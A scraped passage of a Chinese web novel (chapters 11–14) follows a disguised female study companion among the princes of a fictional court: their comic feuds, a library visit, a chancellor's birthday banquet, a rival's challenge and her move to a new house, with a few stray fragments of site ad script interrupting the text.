“怎么?”明昭帝斜眼睨着潘福,笑道:“他自己的侍读为他挣来的课业,自己受着。” 11. 书阁 一趟城北之行,让崇文馆四名学生之间的生疏客套消除了不少,逐渐勾肩搭背地混在了一处,显露出各自的真实性情来。 有专冒坏水却胆小如鼠的,有勤奋好学却小肚鸡肠的,有才思敏捷却好逸恶劳的,有璞玉浑金却又实心眼的。 通常说,一个调皮捣蛋的孩子便只是个孩子,若是两个凑在一起那便成了麻烦,要三个凑成一堆便可翻天覆地,至于四个…… 唉。 对此,柳太师近日颇有些头疼。 三皇子李意乾一向是最令人放心的学生,暑气渐近也不曾在课堂上打过瞌睡,交上来的课业也愈发工整严谨。 只是近日他与同窗们的关系亲近了不少,不知吃错了什么药,竟丢掉了先前“内卷”的特质,养成了每日监督同窗们的学习情况和课业完成情况的新乐趣。 每每柳太师让自行默读某文章时,便是他登场的时刻。 只见李意乾眼观六路,耳听八方,于心底设置了“同窗三不准”:其一,不许同窗们的眼睛往除课本以外的任何地方瞟;其二,不许同窗们有任何的言语甚至眼神交流;其三,不许同窗们将本应放在学习上的心思分出去一刻。 只要被他发现违反了以上任何一条规矩,便会发表一通类似于“不要说话了,有什么好说的,这是老师布置的自习时间,不是什么说话课”的愤怒言论。 这招数最开始还行得通,近来大家对他这种耍“小班长”威风的做法越来越看不顺眼,不肯听他的话,这首当其冲的当然是那蔫坏的三皇子李意骏。 李意骏见不得也看不惯他这般做法,不知从哪里得了本《古籍秘药》。 这什么秘药那本封皮新的和刚印刷出来别无二致,一眼便知道是大周人民瞎扯淡的产物,但李意骏却对此古籍的来历深信不疑。 他从里头翻出一页名叫“昏睡香”的配方。据说只要在人旁边点上一柱,就能让再神采奕奕的人昏睡不醒,酣睡多梦。 众所周知,李意骏是个爱出坏点子却怕担事儿的货色,叶帘堂一听他这支来路不明却又居心叵测的昏睡香后当即翻了一个大大的白眼,将太子一并提溜走下五子棋去了。 此事该就此作罢,谁曾想他当日走神便被李意乾抓了个正着,当着众人的面,不顾长幼地斥责了几句。 这下好了,胆小如鼠的李意骏自觉丢了面儿,也不胆小了,放了课便偷偷做成了那柱昏睡香,趁着夜幕降临,一股脑扔进了四皇子李意乾的平朔殿。 四皇子那时正在做晚课课业,竟还真被李意骏那支旁门左道的昏睡香迷晕了过去,一觉睡至第二天日上三竿,被迫旷了早课。 于是,李意乾便气势汹汹地杀到了快要放晨课的崇文馆,火冒三丈地对李意骏施行报复。 三皇子怕虫,于是李意乾便命人在园中逮了六七只花媳妇,尽数从窗边弹到李意骏的衣服上。 李意骏本来正享受着没有四皇子干预的走神时光,忽然觉得腕边瘙痒,便下意识看去。 只见一只灰扑扑的大虫正趴在他的腕骨上,当即大叫一声从蒲团上弹了起来。那虫子也受了惊吓,张开两扇灰黑翅膀,露出里头蓝的粉的躯干,还真像是穿了花衣服的新媳妇。 叶帘堂眼见,发觉不对忙叫道:“哎!别动!” 但李意骏哪里还听得见这些,随着他弹起的动作,惊飞了其他趴在地上的虫儿。一时间,于满教室群魔乱舞的飞了起来。 “救命——天爷啊!哪来这么多虫子!”李意骏哀嚎一声,用袖子疯狂驱赶着靠近的花媳妇。 慌乱间,竟将一只弹进了一旁烧茶的火炉里。 虫子难杀,那只花媳妇竟直直带着一身烈火从炉中挥翅而出。 在众人来不及反应的时刻,柳太师眼睁睁看着那虫子于空中划出一道耀眼的红色火光,直直冲向自己。 然后,将自己喜爱的那把雪白的胡须硬生生烧短了半截。 李意卿捂着嘴,没忍住,“噗!” …… 那日,柳太师大发雷霆。 李意骏和李意乾被罚抄写经史三十遍,叶帘堂同李意卿因未曾参与,也并未推波助澜,幸免于难。但太子李意卿在虫子火烧太师胡须时不慎笑出声,无法姑息,故连坐十遍。 有了上次代抄的经历,李意卿一放课便旋风一般溜回殿内老实挨罚去了。 但李意骏显然不知此事,于半道将她截住,嬉皮笑脸地凑了上来,道:“悬逸兄,你今日想不想去我那马庄玩?” 多日相处,叶帘堂早就摸清那马庄是他的心头肉,今日这样大方的邀请他,必定有妖。便清了清嗓子,故意问道:“怎么,今日是太阳打西边出来了?” “哈哈。”李意骏干笑两声,“何必这样说,我只是想帮悬逸兄满足心愿。” “是吗?”叶帘堂要笑不笑道:“谢过三殿下美意。只是,在下今日不想去。”语罢便抬脚要走。 “那你何日想去?”李意骏赶忙追上,“你何日想去,我便何日带你去。” 叶帘堂烦不胜烦,停下脚步,无奈道:“殿下有事相求,不妨直说?” 见叶帘堂不搭他的腔,李意骏只好搓了搓手,扭捏道:“哎呀,悬逸兄,我这个,今日被罚抄的课业……” “怎么,要我替你抄?” “哎。”李意骏明显是未曾料到她会如此直接的戳穿,小心翼翼地觑着她脸色,“只求你帮我抄十篇,成不成?” “那怎么能成?”叶帘堂眼观鼻,鼻观心道:“太师专为你布置下的课业,我如何德何能去完成啊?” 李意骏:“……” 为何人生不能只如初见呢?从前那客客气气,小绵羊一般的叶悬逸算是找不回来了。 “叶侍读。” 忽听身后一声稳重的呼唤,叶帘堂下意识回头望去,见四皇子李意乾正向着此处走来。 李意乾冷冷扫一眼李意骏,伸手将她拉扯过来,道:“叶侍读,你可不能答应,养成他那不劳而获的臭毛病。” “你说什么呢,我怎就不劳而获了?我只是想让悬逸兄替我写十遍。”说完,李意骏又来拉叶帘堂,一咬牙道:“你若替我抄了这十遍,我带你去十次马庄!”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 李意乾心里正同李意骏较着劲,闻言立刻将李意骏伸来的爪子拍开,向着叶帘堂说:“若是你拒绝他,我可以带你去藏书楼。” 叶帘堂微微一怔。 藏书阁是何地?那可是专门用来收藏珍贵的图书典籍,供皇帝及官员学者阅读,研究的地方,更是文化的宝库,教育和学术研究的重要基地。 她前世作为一个文学生毕业生,自然对这种能接触到第一手真迹资料的地方有着极为浓厚的兴趣。 只是藏书阁管理一向严格,向他这样的小侍读根本没有资格进入,更别说借阅。 李意乾瞧着她的反应,自知赢定了,便向着李意骏投去嘲讽似的一瞥,李意骏则愤怒地偏过了头。 叶帘堂沉浸在自己的想法中,咽了咽口水,眼睛发亮地问:“真的?” “自然是……” 四皇子话音未落,便被叶帘堂拽着,一溜烟跑去了藏书阁。 留下三皇子戛然而止的话音,于风中萧瑟独立。 * 若说先前只是兴奋地猜测,眼下叶帘堂便是结结实实被震撼到了。 这藏书阁从外头看是既不显山也不露水,只是采用普通的青瓦木构。然而入内却是别有一番天地。 只见其中书架自下而上直通房顶,四壁藏书,琳琅满目,经、史、子、集分门别类,实乃文化之渊薮,学问之宝地。 李意乾见她呆愣的傻样,罕见地笑了笑,道:“藏书阁共计六层,上至经史子集,下至游记奇闻,无所不有。” “等等,六层?”叶帘堂瞧着只有三层的青瓦屋顶。 李意乾点了点头,轻声道:“地下还有三层,专是用来防明火,防盗贼的。而上头这三层是专为通风防潮的。” “竟,竟是这般。” 叶帘堂自觉自己是只钻进了油缸库里的耗子,早已瞧得眼花缭乱。 李意乾双手一背,说到:“叶侍读,只要你不帮着三哥偷懒,我便每隔几日带你到这来一趟,如何?” “这是,这是自然的。”叶帘堂语无伦次,“偷懒罪大恶极,不姑息,绝不可惯着他!” 李意乾这才满意地点了点头,走到一方木桌前坐下,点了烛火,向叶帘堂道:“你且挑喜欢的看,我在这做课业。” “咦?四殿下不回平朔殿去做吗?”她下意识问道。 李意乾闻言面色一沉,叶帘堂当即反应过来,他昨日便是在那遭受到了李意骏的毒手,自然是一万个不想呆。 她赶忙拱了拱手,去另一边的书目里找自己想看的书去了。 从这以后,叶帘堂便过上了不见人影,深居简出的日子,平日里甚至都不去太子的明德殿玩了,旁人来翠居寻她也大都扑空。 在几位皇子这罚抄没写完以前,她都跟着四皇子来藏书阁转悠,像是贪心不足蛇吞象的那条蛇,恨不得将整个藏书阁都装进脑子囫囵带走。 直到三位皇子的罚抄结束,按照约定,四皇子便不再为她开藏书阁的门了。 叶帘堂愁苦几天,又厚着脸皮去平朔殿拜访四皇子李意乾。 12. 入夏 近几日,叶帘堂风雨无阻,毫不间断地往平朔殿里跑。 终有一天,在叶帘堂提着食盒再次登门拜访时,李意乾终于烦不胜烦,忍不住问:“叶侍读,你这么用功到底是要做什么,是打算上天造反不成?” 叶帘堂哪里是在看什么正经书籍,看得不外乎都是些未曾传至现代的画册和话本子,如今正看到其中一本的关键时刻,实在是心痒难耐,便瞎扯道:“人行走在这世间就如心游理窟,非学问无以达。而大道万变,在下身为太子侍读,若不能时时刻刻汲取知识,便是羞对陛下了。” 李意乾挑起一边眉,问:“你如今不过十六七岁,却已考中贡士,身为五品侍读,还不满足么?” “书卷浩渺,知识无穷,殿下如此勤奋好学,怎会不明白?” 李意乾原本正练着字,闻言却扔下笔,冷冷道:“我就是不明白。” 狼毫一甩,在字帖上留下一串墨痕,甚至连李意乾的外袍也未能幸免。 叶帘堂一怔。 “人人都道我勤奋,嗜学。”李意乾笑了两声,“可我他们谁知,我此举实乃为……” “四殿下!”叶帘堂急忙出声打断,“天色不早,在下便先告辞。” “哈哈,叶侍读你莫急着走,事到如今,我同你分享一个秘密,你愿不愿意听?”李意乾嘴角的弧度僵硬又生冷,令她下意识屏住呼吸,悄悄向外挪了半步。 李意乾似乎是注意到了她的动作,垂下眼帘,收了笑容,道:“罢了……你回去吧,于理而言,我不能再为你开藏书阁的门。” 俗话说的好,好奇心害死猫,傻人有傻福。本着“知道得越少活得越久”的心态,叶帘堂匆匆行了礼,逃了出来。 瞧着方才李意乾的表情,她便知道这四皇子想要说出口的秘密一定不简单,万一牵扯到皇家秘辛,给她一百条命都不够她死的。 叶帘堂捂住心肝,心想:“这藏书阁的门不只四皇子他一个人能开,大不了去求柳太师,去求太子,办法多的是。” 想到这儿,她坚定地点了点头,决心不再去掺和李意乾的事。 * 平朔殿内烛火摇摇,李意乾在案前坐的笔直,指尖悬悬提着狼毫,一动不动。 直到殿门口传来失而复返的脚步声,一道清瘦身影再次出现在他的面前。 笔尖滴墨,晕开在本就一团糟的字帖上。 李意乾这才回过神来,将字帖揉成一团,装作不在意道:“叶侍读此番回头,是落下了什么东西吗?” 叶帘堂看了眼被他撇开的纸团,又瞧着他外袍上如梅花一般的墨痕,不好意思地笑了笑,“在下有错,惹怒了四殿下,才脏了殿下的外袍。” 李意乾摇摇头,轻声道:“无事。” 语罢,却见叶帘堂立在那不动弹,又开口询问:“怎么,叶侍读还有事?” 叶帘堂抿着嘴,稍稍向前挪了两步,道:“在下不知殿下苦闷。但,这世间之事往往始于外因,成于内省。虽说大道万千,但都不离其宗。” 说完,她拱了拱手,又飞也似的跑了。 李意乾沉默地盯着叶帘堂离去的背影,良久才低下头,低声哼道:“……还不知我苦闷,你这不是知道么。” …… 飞奔出平朔殿,叶帘堂靠着檐下的雕花木柱叹了口气。 她不知道自己是怎么想的,明明都已经决意装聋作哑,但想起方才李意乾赶她走时的表情,又扭了个身走回了平朔殿。 主要是,看着有些可怜。 * 诸生在崇文馆求学的日子过得充实而转瞬即逝,转眼间便已入了夏。 夏季的崇文馆看似是窗外大片绿树浓荫,小风吹拂水晶帘动。但实际身处其间却是一整个华华丽丽的大蒸炉。 绿荫下是火辣辣的,吹来的风是热到令人喘不上气的。 叶帘堂恨不得整日十二个时辰都吐着舌头趴在翠居的床上,再用琉璃樽盛点儿葡萄酒,素盏烧口哀家梨,如此潇洒人生,做鬼也无怨。 好不容易挨到夏至休课三天,但柳太师却偏不让他们做偷懒,要带着他们去拜访宫外国子监的陈祭酒,为他庆生。 休假时段见国子监校长,怎么不算是火上浇油。 但没有办法,这事儿是皇帝点过头的。叶帘堂只能怨恨地从床上爬起来,乘上马车出了宫门。 祭酒府中,会客厅内热闹如市。 一群平时眼高于顶的朝臣官员们此刻都卸了包袱,带着自家小孩为着陈祭酒溜须拍马。 一个说:“哎呦,祭酒生辰之日,瑞气盈门呐。犬子愚笨,多亏了陈祭酒平日的教导啊!” 另一个见缝插针,差人奉上礼物,拱手道:“陈祭酒,这是某的一些心意……还请您平日里多多指点我家那小儿。” 礼物木盒一开,竟是一整套金银器具。 “陈祭酒,我今日非得敬您一杯不可。” “祭酒……” 只见陈祭酒在红头笑脸的人堆中不为所动,对谁都是一副你欠我银子的模样。 叶帘堂听着身边此起彼伏的恭维声,蔫蔫地伏在了桌角,在心底默默想:“唉,这世道从古至今都未曾改变——管你是达官显贵还是布衣平民,只要遇到了关乎自家孩子的事,都得低头赔笑,把龟孙子一路做到底。” 好不容易等到寿辰宴开,流水一般的珍馐盛了上来,叶帘堂这才打起一些精神。 这陈祭酒虽总是一副臭脸,但宴请颇为大方。将府中冰块尽数切块,端上樱桃、枇杷、梅子和五色瓜供大家享用。 叶帘堂躲开了柳太师和几位皇子,自己品着加了冰的松花酒,感动地老泪纵横,不禁在心中感叹,“果真是人生得意需尽欢啊。” 自打她进了皇城就没饮过一滴酒。要做太子侍读就得遵循多规矩,其中一条便是禁止饮酒,真真是抹灭人性,欺人太甚! 叶帘堂这头正喝的开心,一旁从宴会开始时就谄媚卖乖的王子王孙们终于装不下去,逐渐显露出各自的少爷脾气来。 先是围在一起攀比谁家的玉勒雕鞍更豪华,又是说谁家的脍飞金盘白雪高,最后不知谁先带起了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话题,开始比起了谁家的金银器最多。 “自打我记事起,家中每日都会用金银器盛饭,我瞧着方才冯叔叔送给陈祭酒的那套也并不罕见,也不晓得大家为何闹出那样大的动静。” “这又如何,我家的金银器可专用一整个屋子来放,平日用都用不完……” “我家的金银器库可是和太子殿下的一般大,谁人不知太子殿下最爱收集那些,上次还与我讨论过我家那只鸳鸯莲瓣纹金碗呢。” “哼,太子殿下如今正在上头坐着,你既如此说,不如现下便同他去讨论讨论?” “我……我听见我父亲刚刚叫我,我先回去了。” 大惊小怪的嗤笑还未结束,叶帘堂一口饮尽杯中酒,一路溜达着去找太子。 李意乾此时正同其他几位皇子在柳太师身旁坐着,他方才瞧见叶帘堂躲在众人之后,嘴里咬着清炖小牛,盘里盛着金银夹花,筷上夹着胡人蒸饼,眼睛盯着清风饭,正吃的忘我。 回头同人打个招呼的功夫,再抬眼时那人又不知道跑到哪里去了。 李意乾的目光在众多溜须拍马的官员之间穿梭,忽地左肩被人一拍,回首时叶帘堂正笑吟吟站在他身后。 “你吃够了?”李意卿挑起眉毛。 叶帘堂大马金刀地在他身旁坐下,将他桌上的那碟樱桃毕罗拿过来吃,装作随意道:“听闻殿下喜欢金银器?” 李意卿向她递来一个疑惑的眼神。 叶帘堂咽下嘴里的甜品,清了清嗓子道:“听说殿下专门有一个用来存放金银器的仓库?” 李意卿恍然大悟,道:“回去我便带你瞧。” “额……我方才还听有位公子说,他自小家中便是用金银器盛饭……” 李意卿这下听明白了,脸上憋着笑:“那我再送叶侍读六套,一日三餐变着花样用?” “哎!”叶帘堂摆手,“这可是你说的,我可没问你要啊。” 太子终于绷不住笑,“我竟从未发现,悬逸兄的脸皮这样厚?” “哪里哪里。” 话音未落,忽见两根手指将一个小盘子推至她的桌上,里面装满了各式各样的甜点。 她顺着手指向上看,来人竟是四皇子李意乾! 叶帘堂愣了一瞬,指着自己问:“给我的?” 李意乾别开眼睛点了点头。 叶帘堂惊吓更甚,问:“何故给我?” “怎么,我见你拿小五的来吃那般不客气,到我就……” “啊?”叶帘堂这下真正惊呆了,颤着声问:“我哪里将殿下得罪了吗?” 李意乾闻言面色一沉,将盘子往她案上重重一搁,怒道:“方才见你吃相凶狠,还是快些将嘴堵住吧,免得饿死了。” 说完怒气冲冲地扭头就走,留下凌乱的叶帘堂和李意卿。 叶帘堂转头问:“什么意思?” 李意卿沉思片刻,分析道:“你一定是哪里得罪他了,这盘你先别吃,小心他下了毒!” 叶帘堂沉默半晌,将整盘水果端给了李意骏。 13. 两方 宴会气氛仍然热络,叶帘堂不大喜欢嘈杂的社交场合,趁着众人互相敬酒时,偷偷溜到后园吹风散酒气。 日头渐落,月色如水,与前院宴会的灯火交相辉映,添得是几笔朦胧之美。 园内曲径通幽,修竹成林,小风吹过便飒飒有声,仿佛身处翠居,叶帘堂不自觉放松了许多。 她沿着碎石小路信步漫游,忽然听见竹林深处似乎有人在低声私语,因隔得太远并听不真切。 一般偷听墙角的人下场都不会太好,叶帘堂当即决定悄咪咪走开,却听一线陡然升高的声音:“……户籍……他到底是有什么本事,竟引得陛下……” 户籍?难不成他们说的是如今正如火如荼进行着的“户籍制度”? 叶帘堂愣了愣,自上次明昭帝见过她后,便立刻开始在阆京着手实行,将居民与其财产土地一一登记在册。 另一个声音低低的传来,似乎是在轻声安抚那人,听不清楚。 那人听了安稳,道:“……无论曾经如何,如今陛下是不肯听我一句……” 事关皇帝,万万不可再听下去,叶帘堂当即掉头就走。可还没走出后园,便被一人拦住了去路。 此人束着高冠,一身银绣白鹤的深紫色缎袍,腰间一系金银丝,正是今日寿辰宴请的臭脸香饽饽——陈校长,啊不对,陈祭酒。 “啊……”陈祭酒似乎有些拿不定主意地打量着她,“是,叶侍读吗?” 叶帘堂也被他这一声招呼问懵了,一时间也不知这陈祭酒和后头那俩说悄悄话的有没有关系,只得含糊回应道:“有什么事吗?” 只见陈祭酒拧紧了眉头,臭着脸向她步步紧逼,眼睛微眯,“你……” 叶帘堂瞧着他面色不善,一边退后一边干笑着说:“哈哈,陈大人,有话好好说,我什么都没听见,也没看见……” 陈祭酒眯着眼睛,直讲她逼到了墙根上,面色阴狠的凑近了。 叶帘堂下意识屏住了呼吸,忽听面前一声,“哦,没看错,果真是叶侍读啊。” 叶帘堂脑子还晕着,看着眼前陈祭酒弯起的嘴角,自个儿下意识有样学样,也跟着弯,“哈,哈,陈大人,好巧。” “唉,我平日里不大看得清人物,叶侍读莫要见怪啊。” “哈,哈。怎会。”叶帘堂摆摆手,嘴角微微抽搐,心想:“合着这位陈校长还是个高度近视,方才真是吓死人了。” “你是柳琮的学生。”陈祭酒一改平日里被欠八百两的冷脸,竟抓着她的胳膊,兴致勃勃地问:“这么说,便是你向陛下提出的那条‘户籍制度’?” 叶帘堂哪里敢承这功劳,忙拱手道:“在下哪有那般智慧,都是从书里看的。” “哎,叶侍读可莫要自谦。”陈祭酒摇了摇头,“此书被你所见,正说明你涉猎渊博。而能将城北之势同古法联用,也说明你懂得因势利导,并非那刻舟求剑,纸上谈兵之辈。” 听了他这短短几句话,叶帘堂便已被夸得飘飘然,心里不禁赞叹道:“怪不得人家能当校长呢,这口才,这话术,难怪冷着脸也能被那样多的人巴结。” “陈祭酒,您这就说笑了不是。”叶帘堂将手摆得飞起,嘴角却不受控制地翘了起来。 “有了你这法子,这几个月下来,城北已然不同以往。”陈祭酒越说越兴奋,用力拍了拍她的肩膀,开心道:“我这几日正打算同陛下商议,在那儿办所书院。” 叶帘堂揉着吃痛的肩,眼睛亮了亮,“真是好!人才乃国家之根本,人才辈出之时,国家之繁荣亦就指日可待了。” “正是如此。”陈祭酒满意地点了点头,忽问:“对了,方才你说什么没听见,没看见的?” 叶帘堂这才想起来方才被迫偷听的事,此时凝神却听不见只言片语了,恐怕是他们这头动静有些大,将那两人吓走了。 回过神,她打着哈哈道:“没什么,在下胡言乱语罢了。” “胡言乱语?”陈祭酒忽然紧张起来,问:“我曾听闻,越是才情卓越,思维纵横之人,越是容易逸出常规,陷入妄言谬语之境,叶大人莫非也……” “啊?” “原是如此。”陈祭酒若有所思道:“叶侍读莫要害怕,我认得位专治精神患病的医师,改日带你去拜访他。” 语罢又疼惜地瞧他一眼,轻声说:“莫怕。” “祭酒,陈祭酒,您误会在下了啊。”叶帘堂慌忙解释道:“在下没事,在下好得很!” “我懂,我懂。”陈祭酒理解道:“侍读放心,我不会将此事透露给任何人,额……除却那位医师。” “不,您懂什么了?”她拽住陈祭酒的袖子,急道:“在下正常的很,方才只是一时紧张,自言自语!” “是,是。”陈祭酒关爱地拍拍叶帘堂拽着他的手,放轻声:“侍读好得很。” 叶帘堂这下真要哭了,“不是,大人,您,您到底明白了没有?” “明白的。”陈祭酒眼里满是慈爱,“走,好孩子,我带你再吃些东西去。” “陈祭酒……” “好了,我知道。”他叹了口气,道:“我不会和任何人说起的。” 叶帘堂发觉这人自从主观断定了自己是个精神病后,现下已是菩萨版的油盐不进姿态。 她记得自己上辈子曾看过这样一则帖子,“如果你是个正常人,却被抓进了精神病院,你该怎么办?” “错误答案:大声说自己是正常人,并尝试暴力出逃。” “最佳答案:保持冷静与理智,每天都当作在家一样生活。” 想到这,叶帘堂只好偃旗息鼓,欲哭无泪地跟着陈祭酒回到宴席之中。 …… 丝竹复起,酒过三巡。 待将醉酒的陈校长送回屋子,柳太师才默默已经重新长长的胡须,满意道:“是我赢了。” “啊?太师,什么你赢了我赢了?”李意骏喝下杯底最后一口油茶,站起来问。 “哼。”柳太师仰起头,“自然是酒量。” 李意乾见众人还是不明白,悄声解释道:“柳太师与陈祭酒从前便是同窗同门,当然自小就是相互比较着长大的。你们想想,他俩从小就听同样的教导,受同样的磨砺,做同样的课业,写同样的策论,直到现在,一个做太师教任宫内,一个做祭酒福泽宫外。” 众人这才点点头,表示理解。 叶帘堂偷偷喝了许多酒,此时又晕又红,柳太师看她的模样便一甩袖子,让这个丢人现眼的酒鬼先行回宫。 府外停着马车,陶青扶着她慢慢向外走。 没走几步,忽听身后一道男子声音清晰地传来:“叶悬逸——” 叶帘堂回过头,她脑袋不清醒,看不清人,只看得见那人身上一件宝蓝色宽袍,便随意拱了拱手道:“这位,额,蓝色的公子……” “司农寺的刘臻,刘大人。”陶青急 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忙在她耳边道。 “……哦,蓝色的公子。”叶帘堂笑道:“得罪得罪,有事寻在下啊?” “你竟不认识我!”刘臻气道。 叶帘堂酒当即吓醒了一半,偷偷问陶青,“我和他见过?” 陶青瞧着眼前人愤怒的模样,也有些拿不准,道:“未曾……吧。” 叶帘堂眼皮跳了跳,只得再次拱手,道:“哎呦——刘大人,恕在下眼拙,自上次一别,许久未曾见过了吧?” 刘臻白她一眼,哼道:“少假惺惺同我套近乎,我们何曾见过,更谈何拜别?” “那不就成了。”叶帘堂莫名其妙道:“那我为何需得认识你?” “你!”刘臻一甩袖子,“因为你属柳太师门下,而我属陈祭酒门下,这就是我与你势不两立的原因!” 叶帘堂下意识问:“啊?势不两立?” “那是。”刘臻傲道:“你提的‘户籍制度’,我便是那第一反对人!” 叶帘堂握紧陶青的胳膊,小声问:“这人脑子没问题吧?” 陶青只低着头憋笑。 “你且听好,无论我师父如何看你,你都是我此生唯一的敌人!” 这下叶帘堂也差点绷不住,急忙低头咬紧下唇。 “别因为今日我师父对你另眼相看,就不知道自己几斤几两了。”刘臻叉着手,狠狠瞪着她,“我是不会放过你的!” 知道后园陈祭酒拉着她说话的事,看来今日在竹林里同人私语的,其中一个便是他了。 叶帘堂努力压下嘴角,憋着笑道:“那,那承蒙大人厚爱。” “你!”刘臻咬牙,“什么爱不爱的,你再给我胡说一个试试看!” 不是,这陈祭酒的小徒弟到底听不听得懂话。 忽然,从远处本来一道雪白的身影,一边高呼“叶大人,得罪得罪。”一边跑至刘臻身旁,将他拉至身后,问:“大人,你又在做什么?” “单孟,你别管。”刘臻宝蓝色的宽袍一闪,一只胳膊便直直指着他,豪声道:“我正在同叶悬逸宣战!” “啊,抱歉抱歉。”那位被称作单孟的白衣男子急忙将刘臻的手臂摁下,转头对她着笑了笑。那笑容温软可亲,叫人一看便生出亲切的感觉来。 叶帘堂见状干笑两声,道:“快扶他回去吧,在下今日贪多了酒,说话也欠妥。” 单孟再三鞠了躬,拽着刘臻就往回走。 叶帘堂目送二人走远,问陶青:“单孟……那是谁?” 陶青回道:“单家算是刘家一手捧起的寒门,那位单大人便是单家独子,自小跟着刘大人一同长大的。” “性格倒是互补。” 陶青笑道:“想必有单大人在身边,刘大人也安心不少。” 叶帘堂点点头,忽然叫道:“啊呦,不说这些,这冷风吹的我头好痛,我们快些回去。” * 另一头,刘臻被单孟拽走,额角青筋直跳,气道:“你做什么拦我?” 单孟从袖中掏出绢帕,细细替刘臻擦了二教的汗,轻声道:“大人,叶侍读不是您叫嚣几句便会害怕的人。” 刘臻扭过头,不让单孟碰,道:“我只是去试试他的胆量,若他真怕了,便不配做我的敌人!” 单孟无奈地笑了笑,目光去追刘臻的眼睛,笑道:“想赢过叶大人,自是有千万种方法。大人何必急于一时,且先回房,我同大人细细讲……” 14. 龙膏 “叶悬逸!” 叶帘堂还没来得及睁眼,只听一声怒喝,后脑勺便结结实实挨了一尺,手肘没将下巴撑住,前额“咚”一声撞到了木桌上 她一手捂住前额,一手摸着后脑勺,龇牙咧嘴地伏在书案上。一旁李意卿和李意骏正幸灾乐祸地笑,李意乾瞥她一眼,又将头转了回去——自她上次拒绝了他的水果,李意乾便不再理她了。 叶帘堂偷偷抬眼,见柳太师站在她案前,戒尺“啪”一声又落在左手手心,正目光沉沉地盯着她。 她登时一个激灵,急忙站了出来,垂首道:“学生罪该万死。” 柳太师冷笑一声,“你这些天日日犯困,哪次都说自己罪该万死,又有哪次改正了?去外头站着。” 叶帘堂只得腆着笑笑,自觉到崇文馆廊下罚站。 此时尚处清晨,日头还算温和。叶帘堂听着鸟叫,走起神来。 前些日子明昭帝意外问起,才知道她现下在宫外没有住所,只在客栈住着,便给了她几百两银子,让她自己置办宅院。 叶帘堂汗颜,心想她自入阆京春闱以来,大多数时间要么住在宫内翠居,要么歇在酒肆雅阁,早将住宅这事抛到脑后了。 她领旨谢恩,便到处托人打听询问,挑挑拣拣了许多天,昨日才在皇城附近沋河坊定了处四合院。 虽然规模小了些,但这方寸之间却是别有洞天。房屋整体朝南,通风好,整个院落与房间都能接收到最多的阳光照射,使人身处其间时总觉着温暖敞亮。 院中植以松柏,苍翠挺拔,四季常青。花间小径以鹅卵石铺就,往深处走去,便是另一番景象。 东厢辟为小圆,池中荷叶田田,莲花亭亭。池畔设石桌石凳,可供她邀友品茗对弈。西面粉墙临着沋河,风中隐约带来潺潺流水声,在这闷热夏日,能让人逐渐平下心,静下气来。 只不过一想到回去后不仅打扫房屋后院,还要精挑细算置办新家具,就一个头两个大。 好不容易挨到放课,柳太师又恨铁不成钢地硬拉着她絮絮叨叨了两个小时“你这个年纪是怎么睡得着觉的”之类的话。 迷迷糊糊出了皇城,下马车到新居时忽见马车后厢钻出三颗毛茸茸的脑袋。 李意骏喊道:“好啊悬逸兄,怪不得近日在翠居不见你影,原来是有了新居啊?” 李意乾则一脸“勉为其难”地下了车,默默地打量着这套园子,偶尔瞥两眼叶帘堂,像是想说什么,又碍着面子不肯说。 太子李意卿则委委屈屈地拉住她,问:“是觉着东宫翠居住的不舒服吗,为何要搬来宫外住?” 叶帘堂扶额,薅了一把最近狂掉的头发,问:“……陛下知道你们出宫的事情吗?” “知道啊。”李意骏笑嘻嘻道:“父亲还特地让我们帮你搬新居呢。” “那就成。”叶帘堂将一众人领进屋内,赐予他们每人一把劳动工具,满意道:“既然陛下都那样说了,你们都给我将这屋子擦得干干净净,园子也给我收拾的整整齐齐!懂了吗?” 李意乾两根手指提溜着块抹布,终于因嫌弃开了口:“这是什么东西?” “抹布啊。”叶帘堂道:“擦桌子用的。” “没用过。”说罢,他便将抹布往窗台上一撂,大爷一般自顾自一屁股坐在木椅上,说什么都不肯动了。 另一边的李意骏和李意卿虽然劳动态度良好,但二人都是皇城里金枝玉叶长大的,都是那十指不沾阳春水的货色。 就在李意卿用簸箕差点将自己铲倒时,叶帘堂终于出手阻止,结束了这场越帮越乱的“帮助”。 最终还是几位皇子从宫里带出来的贴身侍从们手脚麻利地将屋子收拾了干净,尤其是陶青,将后院一园子残花败叶都理出了一番别样的意境。 叶帘堂握着人家的手一一道谢,顺带明里暗里的再踩一脚旁边的几个残废皇子。 天色暗了,叶帘堂原想请人一同去雅阁用饭,但宫里头有规矩,便只好作罢。 临行时,李意卿抓着叶帘堂死不松手,哭着喊着说舍不得,要同她一起在这儿住。隆生好说歹说太子也不肯松手,叶帘堂只好抱着他,约定明日上课一定同他坐在一起,这才作罢。 待目送着马车缓缓驶离了沋河坊,她便一个人跑去了芙蓉酒肆。 阆京城中,随意拉一个人问,如今谁是街衢纵横间最笙歌鼎沸,最酒香四溢的那一个?那人定是想都不用想,脱口而出便是芙蓉酒肆。 叶帘堂三个月未来,一时间竟又同第一次来那般呆住了。 夜幕降临,华灯初上,酒肆外张灯结彩,火树银花,映照得整个阆京城如同白昼。肆内更是人声鼎沸。 客人们或三五成群,围桌而坐,谈笑风生;或独酌自饮,思绪万千。酒酣耳热之际,更有乐师操琴弄笛,丝竹声与酒香交织,营造出一种忘却尘嚣的氛围。 饶是如此热闹,童姣也能在第一时间发现站在门口的叶帘堂,扶着窗子笑:“我当是瞧错了,原来还真是叶大人。许久没见,怎么傻站在那儿,路都不会走了?” 叶帘堂仰头看见她,也笑:“三月未见,先上坛你家珍珠红。在下要先尝尝,那味道还对不对。” 童姣一摆手,示意她上楼来,靠着窗喊道:“东窗雅阁,给大人您留着呢。” 进了雅阁,童姣便去传菜,陆陆续续有小厮端来不少盘子。 “今日怎么传了这么多?”叶帘堂在童姣进来时问。 童姣簇眉可怜道:“大人这么久没来,小女这手可是想银子想的不得了。” “外头每日那么多人,还不够你赚的?”叶帘堂挑眉。 “小女只想赚大人的银子。” 叶帘堂笑笑,不欲同她斗嘴,刚想落筷时,忽然“咦”了一声,说:“今日这菜,倒不同以往。” “原以为大人只喝酒不尝菜呢,原来眼睛还尖着。” 叶帘堂从中选了一盘,问:“这是?” “胡卜。” “你快些说。”叶帘堂受不了童姣同她卖关子,催促道。 